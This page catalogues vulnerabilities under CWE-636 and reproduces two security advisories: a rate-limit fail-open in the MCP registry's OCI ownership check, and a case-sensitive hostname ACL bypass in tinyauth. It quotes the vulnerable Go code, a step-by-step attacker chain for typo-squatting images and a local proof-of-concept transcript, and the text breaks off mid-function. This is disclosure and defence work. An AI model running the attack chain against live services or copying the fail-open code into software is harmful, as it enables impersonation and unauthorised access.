CWE-636
Allowed-with-ReviewNot Failing Securely ('Failing Open')
Abstraction: Class · Status: Draft
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.
127 vulnerabilities reference this CWE, most recent first.
GHSA-2V5F-5R6W-P67R
Vulnerability from github – Published: 2026-05-19 15:39 – Updated: 2026-05-19 15:39OCI ownership validation fails open on upstream rate limits, allowing attacker to claim arbitrary public OCI images under their own namespace
Severity: Low (re-scored post-triage; see Maintainer triage note below)
Affected: modelcontextprotocol/registry main branch at commit fe0cb3b (current HEAD as of 2026-05-09).
Live deployment: https://registry.modelcontextprotocol.io (per repo README).
Route: GitHub private security advisory (per repo SECURITY.md).
Title
OCI ownership validation skips label-match check when upstream OCI registry returns HTTP 429, letting any authenticated publisher bind their io.github.<user>/* namespace to OCI images they do not control.
Summary
internal/validators/registries/oci.go:104-119 fails open on http.StatusTooManyRequests: when the
registry's anonymous fetch to the upstream OCI registry is rate-limited, ValidateOCI returns nil
and the publish is accepted without ever running the
io.modelcontextprotocol.server.name label-match check at lines 122-141. That label check is the
only cross-system ownership proof the registry applies to OCI packages — every other registry type
(NPM, PyPI, NuGet, MCPB) treats a non-200 upstream response as a hard error.
The fail-open trigger is attacker-controllable. The registry uses authn.Anonymous against Docker
Hub, which is rate-limited to 100 manifest pulls per 6 hours per egress IP, and the production
NGINX rate limit allows 180 publishes/minute (3 RPS, burst 540) per source IP. A single attacker
from a single IP can exhaust the registry's shared anonymous quota in roughly 33 seconds, then
submit a final publish that points packages[].identifier at a Docker Hub image they do not own.
The validator hits the 429 fail-open branch, returns nil, and the registry stores a record under
the attacker's namespace claiming the unrelated image as its package payload, with no label proof
in evidence.
The fail-open is also reached without an attacker present. Docker Hub routinely 429s busy egress IPs during organic traffic, so publishes during those windows skip OCI ownership validation silently.
Vulnerable code
internal/validators/registries/oci.go:97-142:
img, err := remote.Image(ref, remote.WithAuth(authn.Anonymous), remote.WithContext(timeoutCtx))
if err != nil {
if errors.Is(err, context.DeadlineExceeded) {
return fmt.Errorf("OCI image validation timed out after 30 seconds for '%s'. The registry may be slow or unreachable", pkg.Identifier)
}
var transportErr *transport.Error
if errors.As(err, &transportErr) {
switch transportErr.StatusCode {
case http.StatusTooManyRequests:
// Rate limited - skip validation to avoid blocking publishers
// This is intentional: we prioritize UX over strict validation during high traffic
log.Printf("Skipping OCI validation for %s due to rate limiting", pkg.Identifier)
return nil // <-- FAIL-OPEN
case http.StatusNotFound:
return fmt.Errorf("OCI image '%s' does not exist in the registry", pkg.Identifier)
case http.StatusUnauthorized, http.StatusForbidden:
return fmt.Errorf("OCI image '%s' is private or requires authentication. Only public images are supported", pkg.Identifier)
}
}
return fmt.Errorf("failed to fetch OCI image: %w", err)
}
// Get the image config which contains labels
configFile, err := img.ConfigFile()
if err != nil {
return fmt.Errorf("failed to get image config: %w", err)
}
// Validate the MCP server name label
if configFile.Config.Labels == nil {
return fmt.Errorf("OCI image '%s' is missing required annotation. Add this to your Dockerfile: LABEL io.modelcontextprotocol.server.name=\"%s\"", pkg.Identifier, serverName)
}
mcpName, exists := configFile.Config.Labels["io.modelcontextprotocol.server.name"]
if !exists {
return fmt.Errorf("OCI image '%s' is missing required annotation. Add this to your Dockerfile: LABEL io.modelcontextprotocol.server.name=\"%s\"", pkg.Identifier, serverName)
}
if mcpName != serverName {
return fmt.Errorf("OCI image ownership validation failed. Expected annotation 'io.modelcontextprotocol.server.name' = '%s', got '%s'", serverName, mcpName)
}
The fail-open returns before any of the three label-match guards run.
The validator is reached on every publish per internal/service/registry_service.go:151-158, gated by
cfg.EnableRegistryValidation, which defaults to true in internal/config/config.go:18.
Reachability and authorization
POST /v0/publish (and /v0.1/publish) is registered with bearer-JWT auth in
internal/api/handlers/v0/publish.go:30-50. JWTs are issued by /v0/auth/github-at
(internal/api/handlers/v0/auth/github_at.go:46-67), which exchanges any GitHub OAuth access token for
a 5-minute registry JWT carrying Permission{Action: Publish, ResourcePattern: "io.github.<login>/*"}.
Any free GitHub account can mint such a JWT, so the publish path is reachable to anyone on the
internet at the cost of a GitHub account.
Trigger conditions
internal/validators/registries/oci.go:97: anonymous Docker Hub auth, subject to the 100 manifest-pulls/6h/IP unauthenticated rate limit Docker Hub publishes.deploy/pkg/k8s/registry.go:330-331: production NGINX limits incoming requests to 180/minute per source IP with a 3× burst multiplier (540).- A single source IP at 3 RPS exhausts the registry's anonymous Docker Hub quota in roughly 33
seconds. Each
/publishagainst an allowlisted OCI identifier ininternal/validators/registries/oci.go:29-42(docker.io / registry-1.docker.io / index.docker.io / ghcr.io / quay.io / mcr.microsoft.com /*.pkg.dev/*.azurecr.io) consumes one slot, including publishes that go on to fail with the missing-annotation error after the manifest is fetched. - Once Docker Hub starts returning 429, every subsequent publish hits the fail-open branch until the quota replenishes.
Attacker chain
- Free GitHub account
attacker→POST /v0/auth/github-at→ registry JWT withPermission{Action: Publish, ResourcePattern: "io.github.attacker/*"}. - From a single IP, send ~100 publishes whose
packages[].identifierreferences real public Docker Hub images that lack theio.modelcontextprotocol.server.namelabel (e.g.docker.io/library/alpine:latest,docker.io/library/nginx:latest, …). Each publish fails with "OCI image is missing required annotation" but consumes one anonymous-quota slot from the registry's shared egress IP. - While the egress IP is rate-limited by Docker Hub, submit the final publish:
name = "io.github.attacker/<typo-squat-name>",packages[].registryType = "oci",packages[].identifier = "docker.io/<reputable-org>/<reputable-image>:<tag>". ValidateOCIcallsremote.Image(ref, authn.Anonymous, …); Docker Hub returns 429;transportErr.StatusCode == http.StatusTooManyRequestsmatches the fail-open branch;ValidateOCIreturnsnil;ValidatePackagereturnsnil;validateRegistryOwnershipreturnsnil; the publish proceeds andCreateServerwrites the record. The registry now publishes a server record underio.github.attacker/<typo-squat-name>that asserts the reputable image as its package payload, without ever inspecting that image's labels.
Boundary delta
| Starting capability | After exploit | |
|---|---|---|
| Identity | Holder of a fresh io.github.<attacker> GitHub account |
Same |
| Publish scope | io.github.<attacker>/* only |
io.github.<attacker>/* only (unchanged) |
| OCI claim scope | OCI images the attacker controls and has labelled with io.modelcontextprotocol.server.name = io.github.<attacker>/<name> |
Any public OCI image at any allowlisted registry, regardless of label |
The attacker's namespace stays bounded. What changes is that the registry's claim "this OCI image is
the package payload of this MCP server" is no longer backed by any cross-system proof. The label
check at oci.go:122-141 is the only ownership proof for OCI packages; bypassing it lets a
publisher under io.github.attacker/* bind a server record to an unrelated image such as
docker.io/microsoft/<some-tool>:latest without ever touching that image. Combined with how MCP
clients render server-list entries — image identifier shown next to the namespace — the result is
typo-squat / impersonation in registry search and discovery surfaces, with the actual image content
delivered untouched from its real owner.
The same fail-open is reached without any attacker action whenever Docker Hub rate-limits the registry's egress IP for organic reasons. In that mode, the OCI ownership check is effectively non-functional for the duration of the limit window, even for legitimate publishers.
Cross-validator comparison (negative control)
The other registry-type validators do not fail-open on rate-limit responses:
internal/validators/registries/npm.go:72-74—if resp.StatusCode != http.StatusOK { return error }.internal/validators/registries/pypi.go:76-78— same shape; 429 surfaces as"PyPI package '%s' not found (status: %d)".internal/validators/registries/nuget.go:253— non-OK response paths return"NuGet README request returned status %d", the publish fails closed.internal/validators/registries/mcpb.go:84-91— a HEAD that does not return 200 or a 3xx withLocationis treated as inaccessible.
OCI is the only validator that converts an upstream rate-limit into a successful ownership attestation.
Suggested fix
Two options, either alone, or both for defence-in-depth:
- Remove the fail-open. Replace
go case http.StatusTooManyRequests: log.Printf("Skipping OCI validation for %s due to rate limiting", pkg.Identifier) return nilwith an error of the same shape the other validators use (return fmt.Errorf("OCI registry is currently rate-limiting validations for '%s'; please retry shortly", pkg.Identifier)). The handler call sites invalidateRegistryOwnershipalready propagate the error to a 400 response. - Replace
authn.Anonymousatinternal/validators/registries/oci.go:97with an authenticated token whose quota is isolated from organic anonymous traffic to the registry's egress IP. Docker Hub authenticated pulls are 200/6h per token; ghcr.io / quay.io /*.pkg.dev/*.azurecr.ioeach have their own auth flows. This removes the easy attacker-side trigger and reduces organic fail-open windows.
If a fail-open path is retained for UX reasons, queue the publish for re-validation when the upstream registry recovers, instead of marking it accepted on first attempt.
Proof of concept
The refreshed PoC drives the publish path, not only the validator branch:
service.CreateServer
-> validators.ValidatePublishRequest
-> registries.ValidateOCI
-> database.CreateServer
It runs inside the checked-out module, uses the real service and validator code, and substitutes only the database with a minimal in-memory implementation so the proof can run without a local Postgres stack. To keep the proof localhost-only, the runner temporarily adds the in-process mock OCI host to the unexported OCI allowlist. It does not contact Docker Hub, the production registry, or any external service.
To run:
bash outputs/poc-evidence/2026-05-12-mcp-registry-publish-path/run.sh
Captured transcript:
=== modelcontextprotocol/registry publish-path OCI 429 fail-open PoC ===
Path exercised: service.CreateServer -> validators.ValidatePublishRequest -> registries.ValidateOCI -> DB CreateServer
--- negative control: upstream 404 ---
[setup] temporarily allowlisted mock OCI host 127.0.0.1:39067 for localhost-only proof
[setup] publish identifier=127.0.0.1:39067/reputable-org/reputable-image:latest
[mock-oci] GET /v2/ -> 404
[publish] rejected: registry validation failed for package 0 (127.0.0.1:39067/reputable-org/reputable-image:latest): OCI image '127.0.0.1:39067/reputable-org/reputable-image:latest' does not exist in the registry
--- BUG: upstream 429 ---
[setup] temporarily allowlisted mock OCI host 127.0.0.1:40487 for localhost-only proof
[setup] publish identifier=127.0.0.1:40487/reputable-org/reputable-image:latest
[mock-oci] GET /v2/ -> 429
[memdb] AcquirePublishLock(io.github.attacker/typosquat-tool)
[memdb] CreateServer stored name=io.github.attacker/typosquat-tool version=1.0.1 package=127.0.0.1:40487/reputable-org/reputable-image:latest
[publish] accepted/stored packages=[{"registryType":"oci","identifier":"127.0.0.1:40487/reputable-org/reputable-image:latest","transport":{"type":"stdio"}}]
PUBLISH_PATH_RESULT: ACCEPTED_UNVERIFIED_OCI_PACKAGE_AFTER_429
Exit code 0. SHA-256 values:
acf7121111c19acaca1c99a3c08079213794ffc4feb63e545ec814bd6cd85984 transcript.txt
340e7a81740e9f14cadc144d4e640a1d497ce3e6696a3d9ea99d63e05c5edd71 publish_path_runner.go
c970f08d6b79852308ad931da85dd64a65fe373d3c988018de09a7e4c7c345a4 run.sh
The end-to-end attacker flow against production was not executed. No publish was sent against
registry.modelcontextprotocol.io. No attacker namespace was registered on the live service. The
local proof shows the critical property: when the actual publish validator sees an OCI 429, the
service proceeds to create a server record containing the unverified OCI package identifier.
Severity rationale
Maintainer triage (2026-05-13): after review the maintainer settled on Low (3.5, CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N). Impact stays within the attacker's own namespace and image bytes delivered to clients are unchanged. See the comment thread for reasoning. Reporter's original write-up preserved below.
Medium. Auth-bypass class — the attacker bypasses the only ownership proof for OCI packages, and the fail-open trigger is attacker-controllable from a single IP at modest cost. The blast radius is bounded to publication misrepresentation under the attacker's own namespace; the actual image content stays under its rightful owner. Combined with normal MCP-client search and discovery surfaces, this is sufficient for impersonation / typo-squat where the rendered image identifier implies authorship the registry could not actually attest.
The fail-open also activates under normal traffic when Docker Hub rate-limits the egress IP, so the OCI ownership check is in practice intermittent rather than absent — both modes are bug states.
Disclosure preferences
Report through the GitHub Security Advisory process per repo SECURITY.md. Happy to keep details private until a fix is in motion. If a public GHSA / CVE / release note is published, please credit the report to Ryan Vonbrubeck / @dodge1218.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/modelcontextprotocol/registry"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45781"
],
"database_specific": {
"cwe_ids": [
"CWE-636"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T15:39:55Z",
"nvd_published_at": "2026-05-14T21:16:48Z",
"severity": "LOW"
},
"details": "# OCI ownership validation fails open on upstream rate limits, allowing attacker to claim arbitrary public OCI images under their own namespace\n\nSeverity: Low (re-scored post-triage; see Maintainer triage note below)\nAffected: `modelcontextprotocol/registry` main branch at commit `fe0cb3b` (current HEAD as of 2026-05-09).\nLive deployment: `https://registry.modelcontextprotocol.io` (per repo README).\nRoute: GitHub private security advisory (per repo SECURITY.md).\n\n---\n\n## Title\n\nOCI ownership validation skips label-match check when upstream OCI registry returns HTTP 429, letting any authenticated publisher bind their `io.github.\u003cuser\u003e/*` namespace to OCI images they do not control.\n\n## Summary\n\n`internal/validators/registries/oci.go:104-119` fails open on `http.StatusTooManyRequests`: when the\nregistry\u0027s anonymous fetch to the upstream OCI registry is rate-limited, `ValidateOCI` returns `nil`\nand the publish is accepted without ever running the\n`io.modelcontextprotocol.server.name` label-match check at lines 122-141. That label check is the\nonly cross-system ownership proof the registry applies to OCI packages \u2014 every other registry type\n(NPM, PyPI, NuGet, MCPB) treats a non-200 upstream response as a hard error.\n\nThe fail-open trigger is attacker-controllable. The registry uses `authn.Anonymous` against Docker\nHub, which is rate-limited to 100 manifest pulls per 6 hours per egress IP, and the production\nNGINX rate limit allows 180 publishes/minute (3 RPS, burst 540) per source IP. A single attacker\nfrom a single IP can exhaust the registry\u0027s shared anonymous quota in roughly 33 seconds, then\nsubmit a final publish that points `packages[].identifier` at a Docker Hub image they do not own.\nThe validator hits the 429 fail-open branch, returns `nil`, and the registry stores a record under\nthe attacker\u0027s namespace claiming the unrelated image as its package payload, with no label proof\nin evidence.\n\nThe fail-open is also reached without an attacker present. Docker Hub routinely 429s busy egress IPs\nduring organic traffic, so publishes during those windows skip OCI ownership validation silently.\n\n## Vulnerable code\n\n`internal/validators/registries/oci.go:97-142`:\n\n```go\nimg, err := remote.Image(ref, remote.WithAuth(authn.Anonymous), remote.WithContext(timeoutCtx))\nif err != nil {\n if errors.Is(err, context.DeadlineExceeded) {\n return fmt.Errorf(\"OCI image validation timed out after 30 seconds for \u0027%s\u0027. The registry may be slow or unreachable\", pkg.Identifier)\n }\n\n var transportErr *transport.Error\n if errors.As(err, \u0026transportErr) {\n switch transportErr.StatusCode {\n case http.StatusTooManyRequests:\n // Rate limited - skip validation to avoid blocking publishers\n // This is intentional: we prioritize UX over strict validation during high traffic\n log.Printf(\"Skipping OCI validation for %s due to rate limiting\", pkg.Identifier)\n return nil // \u003c-- FAIL-OPEN\n case http.StatusNotFound:\n return fmt.Errorf(\"OCI image \u0027%s\u0027 does not exist in the registry\", pkg.Identifier)\n case http.StatusUnauthorized, http.StatusForbidden:\n return fmt.Errorf(\"OCI image \u0027%s\u0027 is private or requires authentication. Only public images are supported\", pkg.Identifier)\n }\n }\n return fmt.Errorf(\"failed to fetch OCI image: %w\", err)\n}\n\n// Get the image config which contains labels\nconfigFile, err := img.ConfigFile()\nif err != nil {\n return fmt.Errorf(\"failed to get image config: %w\", err)\n}\n\n// Validate the MCP server name label\nif configFile.Config.Labels == nil {\n return fmt.Errorf(\"OCI image \u0027%s\u0027 is missing required annotation. Add this to your Dockerfile: LABEL io.modelcontextprotocol.server.name=\\\"%s\\\"\", pkg.Identifier, serverName)\n}\n\nmcpName, exists := configFile.Config.Labels[\"io.modelcontextprotocol.server.name\"]\nif !exists {\n return fmt.Errorf(\"OCI image \u0027%s\u0027 is missing required annotation. Add this to your Dockerfile: LABEL io.modelcontextprotocol.server.name=\\\"%s\\\"\", pkg.Identifier, serverName)\n}\n\nif mcpName != serverName {\n return fmt.Errorf(\"OCI image ownership validation failed. Expected annotation \u0027io.modelcontextprotocol.server.name\u0027 = \u0027%s\u0027, got \u0027%s\u0027\", serverName, mcpName)\n}\n```\n\nThe fail-open returns before any of the three label-match guards run.\n\nThe validator is reached on every publish per `internal/service/registry_service.go:151-158`, gated by\n`cfg.EnableRegistryValidation`, which defaults to `true` in `internal/config/config.go:18`.\n\n## Reachability and authorization\n\n`POST /v0/publish` (and `/v0.1/publish`) is registered with bearer-JWT auth in\n`internal/api/handlers/v0/publish.go:30-50`. JWTs are issued by `/v0/auth/github-at`\n(`internal/api/handlers/v0/auth/github_at.go:46-67`), which exchanges any GitHub OAuth access token for\na 5-minute registry JWT carrying `Permission{Action: Publish, ResourcePattern: \"io.github.\u003clogin\u003e/*\"}`.\nAny free GitHub account can mint such a JWT, so the publish path is reachable to anyone on the\ninternet at the cost of a GitHub account.\n\n## Trigger conditions\n\n- `internal/validators/registries/oci.go:97`: anonymous Docker Hub auth, subject to the 100\n manifest-pulls/6h/IP unauthenticated rate limit Docker Hub publishes.\n- `deploy/pkg/k8s/registry.go:330-331`: production NGINX limits incoming requests to 180/minute\n per source IP with a 3\u00d7 burst multiplier (540).\n- A single source IP at 3 RPS exhausts the registry\u0027s anonymous Docker Hub quota in roughly 33\n seconds. Each `/publish` against an allowlisted OCI identifier in\n `internal/validators/registries/oci.go:29-42` (docker.io / registry-1.docker.io / index.docker.io\n / ghcr.io / quay.io / mcr.microsoft.com / `*.pkg.dev` / `*.azurecr.io`) consumes one slot,\n including publishes that go on to fail with the missing-annotation error after the manifest is\n fetched.\n- Once Docker Hub starts returning 429, every subsequent publish hits the fail-open branch until\n the quota replenishes.\n\n## Attacker chain\n\n1. Free GitHub account `attacker` \u2192 `POST /v0/auth/github-at` \u2192 registry JWT with\n `Permission{Action: Publish, ResourcePattern: \"io.github.attacker/*\"}`.\n2. From a single IP, send ~100 publishes whose `packages[].identifier` references real public\n Docker Hub images that lack the `io.modelcontextprotocol.server.name` label\n (e.g. `docker.io/library/alpine:latest`, `docker.io/library/nginx:latest`, \u2026). Each publish\n fails with \"OCI image is missing required annotation\" but consumes one anonymous-quota slot\n from the registry\u0027s shared egress IP.\n3. While the egress IP is rate-limited by Docker Hub, submit the final publish:\n `name = \"io.github.attacker/\u003ctypo-squat-name\u003e\"`,\n `packages[].registryType = \"oci\"`,\n `packages[].identifier = \"docker.io/\u003creputable-org\u003e/\u003creputable-image\u003e:\u003ctag\u003e\"`.\n4. `ValidateOCI` calls `remote.Image(ref, authn.Anonymous, \u2026)`; Docker Hub returns 429;\n `transportErr.StatusCode == http.StatusTooManyRequests` matches the fail-open branch;\n `ValidateOCI` returns `nil`; `ValidatePackage` returns `nil`;\n `validateRegistryOwnership` returns `nil`; the publish proceeds and `CreateServer` writes the\n record. The registry now publishes a server record under `io.github.attacker/\u003ctypo-squat-name\u003e`\n that asserts the reputable image as its package payload, without ever inspecting that image\u0027s\n labels.\n\n## Boundary delta\n\n| | Starting capability | After exploit |\n|---|---|---|\n| Identity | Holder of a fresh `io.github.\u003cattacker\u003e` GitHub account | Same |\n| Publish scope | `io.github.\u003cattacker\u003e/*` only | `io.github.\u003cattacker\u003e/*` only (unchanged) |\n| OCI claim scope | OCI images the attacker controls and has labelled with `io.modelcontextprotocol.server.name = io.github.\u003cattacker\u003e/\u003cname\u003e` | **Any public OCI image** at any allowlisted registry, regardless of label |\n\nThe attacker\u0027s namespace stays bounded. What changes is that the registry\u0027s claim \"this OCI image is\nthe package payload of this MCP server\" is no longer backed by any cross-system proof. The label\ncheck at `oci.go:122-141` is the only ownership proof for OCI packages; bypassing it lets a\npublisher under `io.github.attacker/*` bind a server record to an unrelated image such as\n`docker.io/microsoft/\u003csome-tool\u003e:latest` without ever touching that image. Combined with how MCP\nclients render server-list entries \u2014 image identifier shown next to the namespace \u2014 the result is\ntypo-squat / impersonation in registry search and discovery surfaces, with the actual image content\ndelivered untouched from its real owner.\n\nThe same fail-open is reached without any attacker action whenever Docker Hub rate-limits the\nregistry\u0027s egress IP for organic reasons. In that mode, the OCI ownership check is effectively\nnon-functional for the duration of the limit window, even for legitimate publishers.\n\n## Cross-validator comparison (negative control)\n\nThe other registry-type validators do not fail-open on rate-limit responses:\n\n- `internal/validators/registries/npm.go:72-74` \u2014 `if resp.StatusCode != http.StatusOK { return error }`.\n- `internal/validators/registries/pypi.go:76-78` \u2014 same shape; 429 surfaces as\n `\"PyPI package \u0027%s\u0027 not found (status: %d)\"`.\n- `internal/validators/registries/nuget.go:253` \u2014 non-OK response paths return\n `\"NuGet README request returned status %d\"`, the publish fails closed.\n- `internal/validators/registries/mcpb.go:84-91` \u2014 a HEAD that does not return 200 or a 3xx with\n `Location` is treated as inaccessible.\n\nOCI is the only validator that converts an upstream rate-limit into a successful ownership\nattestation.\n\n## Suggested fix\n\nTwo options, either alone, or both for defence-in-depth:\n\n1. Remove the fail-open. Replace\n ```go\n case http.StatusTooManyRequests:\n log.Printf(\"Skipping OCI validation for %s due to rate limiting\", pkg.Identifier)\n return nil\n ```\n with an error of the same shape the other validators use (`return fmt.Errorf(\"OCI registry is\n currently rate-limiting validations for \u0027%s\u0027; please retry shortly\", pkg.Identifier)`). The\n handler call sites in `validateRegistryOwnership` already propagate the error to a 400 response.\n2. Replace `authn.Anonymous` at `internal/validators/registries/oci.go:97` with an authenticated\n token whose quota is isolated from organic anonymous traffic to the registry\u0027s egress IP. Docker\n Hub authenticated pulls are 200/6h per token; ghcr.io / quay.io / `*.pkg.dev` / `*.azurecr.io`\n each have their own auth flows. This removes the easy attacker-side trigger and reduces organic\n fail-open windows.\n\nIf a fail-open path is retained for UX reasons, queue the publish for re-validation when the\nupstream registry recovers, instead of marking it accepted on first attempt.\n\n## Proof of concept\n\nThe refreshed PoC drives the publish path, not only the validator branch:\n\n```text\nservice.CreateServer\n -\u003e validators.ValidatePublishRequest\n -\u003e registries.ValidateOCI\n -\u003e database.CreateServer\n```\n\nIt runs inside the checked-out module, uses the real service and validator code, and substitutes only\nthe database with a minimal in-memory implementation so the proof can run without a local Postgres\nstack. To keep the proof localhost-only, the runner temporarily adds the in-process mock OCI host to\nthe unexported OCI allowlist. It does not contact Docker Hub, the production registry, or any\nexternal service.\n\nTo run:\n\n```bash\nbash outputs/poc-evidence/2026-05-12-mcp-registry-publish-path/run.sh\n```\n\nCaptured transcript:\n\n```text\n=== modelcontextprotocol/registry publish-path OCI 429 fail-open PoC ===\nPath exercised: service.CreateServer -\u003e validators.ValidatePublishRequest -\u003e registries.ValidateOCI -\u003e DB CreateServer\n\n--- negative control: upstream 404 ---\n[setup] temporarily allowlisted mock OCI host 127.0.0.1:39067 for localhost-only proof\n[setup] publish identifier=127.0.0.1:39067/reputable-org/reputable-image:latest\n[mock-oci] GET /v2/ -\u003e 404\n[publish] rejected: registry validation failed for package 0 (127.0.0.1:39067/reputable-org/reputable-image:latest): OCI image \u0027127.0.0.1:39067/reputable-org/reputable-image:latest\u0027 does not exist in the registry\n\n--- BUG: upstream 429 ---\n[setup] temporarily allowlisted mock OCI host 127.0.0.1:40487 for localhost-only proof\n[setup] publish identifier=127.0.0.1:40487/reputable-org/reputable-image:latest\n[mock-oci] GET /v2/ -\u003e 429\n[memdb] AcquirePublishLock(io.github.attacker/typosquat-tool)\n[memdb] CreateServer stored name=io.github.attacker/typosquat-tool version=1.0.1 package=127.0.0.1:40487/reputable-org/reputable-image:latest\n[publish] accepted/stored packages=[{\"registryType\":\"oci\",\"identifier\":\"127.0.0.1:40487/reputable-org/reputable-image:latest\",\"transport\":{\"type\":\"stdio\"}}]\nPUBLISH_PATH_RESULT: ACCEPTED_UNVERIFIED_OCI_PACKAGE_AFTER_429\n```\n\nExit code 0. SHA-256 values:\n\n```text\nacf7121111c19acaca1c99a3c08079213794ffc4feb63e545ec814bd6cd85984 transcript.txt\n340e7a81740e9f14cadc144d4e640a1d497ce3e6696a3d9ea99d63e05c5edd71 publish_path_runner.go\nc970f08d6b79852308ad931da85dd64a65fe373d3c988018de09a7e4c7c345a4 run.sh\n```\n\nThe end-to-end attacker flow against production was not executed. No publish was sent against\n`registry.modelcontextprotocol.io`. No attacker namespace was registered on the live service. The\nlocal proof shows the critical property: when the actual publish validator sees an OCI 429, the\nservice proceeds to create a server record containing the unverified OCI package identifier.\n\n## Severity rationale\n\n**Maintainer triage (2026-05-13):** after review the maintainer settled on Low (3.5, `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N`). Impact stays within the attacker\u0027s own namespace and image bytes delivered to clients are unchanged. See the comment thread for reasoning. Reporter\u0027s original write-up preserved below.\n\nMedium. Auth-bypass class \u2014 the attacker bypasses the only ownership proof for OCI packages, and the\nfail-open trigger is attacker-controllable from a single IP at modest cost. The blast radius is\nbounded to publication misrepresentation under the attacker\u0027s own namespace; the actual image\ncontent stays under its rightful owner. Combined with normal MCP-client search and discovery\nsurfaces, this is sufficient for impersonation / typo-squat where the rendered image identifier\nimplies authorship the registry could not actually attest.\n\nThe fail-open also activates under normal traffic when Docker Hub rate-limits the egress IP, so the\nOCI ownership check is in practice intermittent rather than absent \u2014 both modes are bug states.\n\n## Disclosure preferences\n\nReport through the GitHub Security Advisory process per repo SECURITY.md. Happy to keep details\nprivate until a fix is in motion. If a public GHSA / CVE / release note is published, please credit\nthe report to **Ryan Vonbrubeck / @dodge1218**.",
"id": "GHSA-2v5f-5r6w-p67r",
"modified": "2026-05-19T15:39:56Z",
"published": "2026-05-19T15:39:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-2v5f-5r6w-p67r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45781"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/registry"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MCP Registry: OCI validator skips ownership check on upstream rate limits"
}
GHSA-328G-JX67-V94G
Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for
GitHub Advisory Details (form fields — paste-ready)
Affected products
| Field | Value |
|-------|-------|
| Ecosystem | Other (self-hosted) / Go |
| Package name | github.com/steveiliop56/tinyauth (forward-auth middleware) |
| Affected versions | < 5.1.2 |
| Patched versions | 5.1.2 |
Advisory details
| Field | Value |
|-------|-------|
| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats users/groups/ip allowlists and fails open |
- Status: Runtime-confirmed (local lab, 127.0.0.1 only)
- Target: steveiliop56/tinyauth
v5.0.7(commit479f1657812b7bf01438607464dedaa148155301); root cause also present onmainHEAD - Component:
internal/service/access_controls_service.go(lookupStaticACLs/GetAccessControls),internal/service/docker_service.go(GetLabels),internal/controller/proxy_controller.go(proxyHandler) - Class: Broken access control / authorization bypass across the per-app trust boundary
Summary
tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls GET /api/auth/<proxy> on every request and only forwards the request upstream if tinyauth returns 200. tinyauth decides which per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static apps: config and/or Docker labels. Each app can restrict access with users.allow / users.block, oauth.whitelist, oauth.groups / ldap.groups, and ip.allow. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.
The hostname → ACL lookup is performed with case-sensitive Go string comparisons (config.Config.Domain == domain and strings.SplitN(domain, ".", 2)[0] == app). Hostnames, however, are case-insensitive everywhere else in the stack: DNS, HTTP Host-header routing, and TLS SNI all treat immich.example.com and IMMICH.example.com as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in X-Forwarded-Host (or X-Original-URL for nginx, or Host for Envoy), but tinyauth's case-sensitive lookup misses the app's ACL entry.
On a miss, tinyauth does not fail closed. GetAccessControls falls back to DockerService.GetLabels, which returns an empty config.App{} with no error whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: IsAuthEnabled → true, CheckIP (no allow/block) → allowed, IsUserAllowed with an empty users.allow → CheckFilter("", …) → true, and the group check with empty required groups → true. The net result is that any already-authenticated user is authorized (200 Authenticated) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app users/groups/ip allowlist for every proxy integration.
Affected code (v5.0.7, commit 479f1657…)
The ACL lookup uses case-sensitive equality — internal/service/access_controls_service.go:
func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
for app, config := range acls.static {
if config.Config.Domain == domain { // case-sensitive ==
return config, nil
}
if strings.SplitN(domain, ".", 2)[0] == app { // case-sensitive ==
return config, nil
}
}
return config.App{}, errors.New("no results")
}
func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {
app, err := acls.lookupStaticACLs(domain)
if err == nil {
return app, nil
}
// Fallback to Docker labels
return acls.docker.GetLabels(domain)
}
The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an empty App with a nil error when nothing matches (fail open) — internal/service/docker_service.go:
func (docker *DockerService) GetLabels(appDomain string) (config.App, error) {
if !docker.isConnected {
return config.App{}, nil // <-- empty App, no error
}
...
for _, ctr := range containers {
...
for appName, appLabels := range labels.Apps {
if appLabels.Config.Domain == appDomain { ... } // case-sensitive
if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive
}
}
return config.App{}, nil // <-- no match -> empty App, no error
}
The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — internal/controller/proxy_controller.go and internal/service/auth_service.go:
// proxyHandler: host comes straight from X-Forwarded-Host, no normalization
acls, err := controller.acls.GetAccessControls(proxyCtx.Host)
...
if userContext.IsLoggedIn {
userAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -> true
...
c.Header("Remote-User", utils.SanitizeHeader(userContext.Username))
c.JSON(200, gin.H{"status": 200, "message": "Authenticated"})
}
// IsUserAllowed with an empty App:
func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {
if context.OAuth {
